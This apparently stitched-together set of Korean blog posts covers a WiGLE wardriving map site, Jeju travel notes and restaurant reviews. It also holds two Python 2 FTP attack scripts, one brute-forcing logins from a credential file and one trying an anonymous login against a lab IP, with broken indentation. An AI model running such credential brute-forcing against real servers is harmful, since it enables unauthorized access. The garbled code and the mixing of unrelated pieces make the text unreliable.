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오픈소스 프로젝트 '위글닷넷(wigle.net)'

 

워드라이빙을 통한 AP의 물리적 위치 수집결과를 오픈소스로 공개한 웹사이트이다.

 

제주는 거의 수집되지 않았지만, 서울은 꽤 빽빽하게 수집되어 있다.

 

제주 : 

https://wigle.net/map?maplat=33.36783675232708&maplon=126.58655045200037&mapzoom=10&coloring=density

 

WiGLE: Wireless Network Mapping

 

wigle.net

 

 

서울 :  

https://wigle.net/map?maplat=37.568405055799005&maplon=126.97783000000004&mapzoom=10&coloring=density

 

WiGLE: Wireless Network Mapping

 

wigle.net

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import ftplib, time

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying: "+userName+"/"+passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
      ' FTP Logon Succeeded: '+userName+"/"+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception, e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)


host = '192.168.95.179'
passwdFile = 'userpass.txt'  # 다수의 ID:PW로 구성된 txt 파일
bruteLogin(host, passwdFile)

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import ftplib

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'me@your.com')
        print '\n[*] ' + str(hostname) +\
          ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
  ' FTP Anonymous Logon Failed.'
return False


host = '192.168.95.179'
anonLogin(host)

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<2019. 8. 22.>

[제주 해변] 함덕 해수욕장 야영장

 

이번엔 함덕 야영장 끝에 있는 소나무 아래에서 여유로운 오후를 보냈다.

소나무와 야자수의 조화-

 

그리고 멍때리는 우리 부부의 반려견-

함덕 해수욕장에 반려견 입수는 불가하다. 

의용소방대원이 아주 격하게, "야!' 하고 소리를 지르며 제지하신다. 

하지만 야영장에서 바다를 보며 즐길 수는 있다.

 

지난 일요일에 자리 잡았던 야자수 밑.

함덕 해변 옆 서우봉이, 다른 해변과는 다른 특별함을 준다.

 

오늘은 파도가 잔잔해서인지, 평일이라서인지 서퍼들이 보이지 않았다. 

가는 모래 때문인지 바닷물은 곽지가 더 맑은 느낌,

8월도 많이 지났다. 이제 여름이 얼마 남지 않은 것 같아 아쉽다.

아직 제주의 늦겨울과 봄, 여름만 겪어봤지만.. 여름이 단연 최고였다.

변덕스러운 제주의 날씨 탓에 온전히 이렇게 예쁘고 파란 하늘을 즐길 수 있는 여름날이 몇일 되지 않았던 게 아쉽다. 

남은 여름을 최대한 즐기는 게 우리 부부의 목표-

 

 

위치 : 제주특별자치도 제주시 조천읍 함덕리 1004-10

 

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<2019. 8. 24.>

미향해장국 중문점 - 천제연 폭포



천제연 폭포, 가격은 어른 2,500원. 하지만 도민은 무료입장!

신분증을 제시하면 된다.

 

천제연 폭포는 1단, 2단, 3단 폭포로 구분되어 있다.

1단 폭포는 연못형태고 비가 많이 내려 상류에서 하천수가 흘러 내려온 경우를 제외하고는

평상시 폭포를 이루지 않는다.

2, 3단 폭포는 통상 폭포를 이루고 있다.

 

천제연 1폭포. 역시나 폭포는 이루고 있지 않았다.

푸르고 투명한 연못이 아름다웠다.

비슷한 푸른 연못 아는 게 라오스의 '블루라군' 뿐이라, 

이런 곳에 입수 가능하게만 해도 충분히 세계적인 관광지가 될 수 있지 않을까 싶었다.

 

천제연 2폭포.

 

 

천제연 3폭포.

3폭포는 2폭포에서 은근 걸어 내려가야 한다. 

발목이나 무릎이 온전치 못하다면, 2폭포까지 관람 후 선임교를 중간쯤 건너보는걸 추천한다.

 

 

위치 : 제주특별자치도 서귀포시 중문동 2230-1

 

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<2019. 8. 24. 점심>

미향해장국 중문점 - 천제연 폭포

 

홍 형님과 아침 운동 후, 함께 한 미향해장국 중문점.

애월에 사시면서 이 해장국을 먹으러 벌써 다섯번째 오시는거라고^^ㅎ

 

주방이모의 포스와 전문적인 손놀림이 인상적이었다.

 

살얼음 동동 깍두기가 생각난다.

동치미 마냥 시원하게 마시면 좋다. 순한 맛 해장국과 잘 어울린다.

두번이나 리필..

 

소고기선지해장국 순한맛 8천원

얼큰한 맛은 다른 해장국집들에서도 많이 맛볼 수 있으니,

여기서는 순한 맛으로 진한 육수의 담백함을 느꼈다.

순한맛을 시켜도 양념장은 따로 충분히 주시기 때문에, 

순한맛으로 반쯤 맛보다가 양념장을 넣어서 얼큰하게 먹는 것을 추천^^

 

 

위치 : 제주특별자치도 서귀포시 색달동 2121-1

 

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<2019. 8. 25. 저녁>

명태명가 [제주 명태조림, 코다리] 명태명가

 

매콤한 명태조림이 일품이다.

살도 야들야들하고, 매콤달콤한 양념이 진짜 맛있다. 

맛없다고 하시는 분 못 보았다.

그리고 양도 푸짐하다.

 

아래 사진은 남자 셋이서 배부르게 먹은

'중' 사이즈 4만원. (공기밥 1천원 별도)

 

위치 : 제주특별자치도 제주시 아라일동 2572-2 (주차장 보유)

 

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<2019. 8. 25.>

 

[제주 외도동] 제주명품 쑥빵 보리빵 하계휴가 기간: 2019. 8. 25. ~ 27. 

 

하계휴가 기간이신데도, 일요일 아침에 문을 잠깐 여셨다.

덕분에 일요일 아침 산책(조깅?) 후 쑥빵, 보리빵, 쑥카스테라를 사올 수 있었다.

 

'덕인당'은 아직 가보지 못했지만, 

제주에서 맛본 보리빵, 쑥빵 중에 가장 맛있다.

 

 

 

위치 : 제주특별자치도 제주시 외도일동 418-11

 

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<2019. 8. 26. 점심>

[제주 두루치기 맛집]  미나리식당

두번째 찾은 제주시 연동 소재 미나리식당. 

두루치기 단일메뉴라, 메뉴판도 없다.

 

두루치기, 맛있는 양념돼지고기가 먹고 싶다면,

생각날만큼 맛이 훌륭하다.

 

가격은 1인당 1만원

 

위치 : 제주특별자치도 제주시 연동 291-24 '미나리식당'

 

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<2019. 8. 24.>

 

제주시 오라이동에 위치한 '도리화과'.

요즘들어 따뜻한 차를 즐기는 아내와 함께 찾았다.

 

메뉴는 다양했다. 가격대가 약간 있다.

말차라떼, 철관음농염(우롱차), 도화차(복숭아꽃차),

분홍반지에이드, 아메리카노, 레몬에이드, 블러드뱅쇼, 여지홍

 

차별로 냄새를 밀 맡고 골라볼 수 있었다.

 

화과자는 자체제작인듯 했다. 3일 전 예약하면 선물용 박스 주문이 가능하다고-

우리는 '복숭아'를 먹었는데, 쫀득하고 팥앙금도 건강한 단맛이 좋았다.

 

실내는 깔끔,

전통과 현대의 조화를 이룬다.

마음이 차분해지는 느낌-

BGM은 뭔가 살짝 부조화스러우면서도 나름 운치있다.

 

 

 

첫잔은 사장님께서 직접 내려주신다.

저 까만색 거름망은 뭔가 비쥬얼상 차를 걸러주는 역할을 하는 것 같은데, 

막상 걸러진 건더기는 하나도 없었다. 

있어보이기는 했다. 

 

복숭아 화과자 3,500원

 

위치 : 제주특별자치도 제주시 오라이동 696-7 '도리화과'

 

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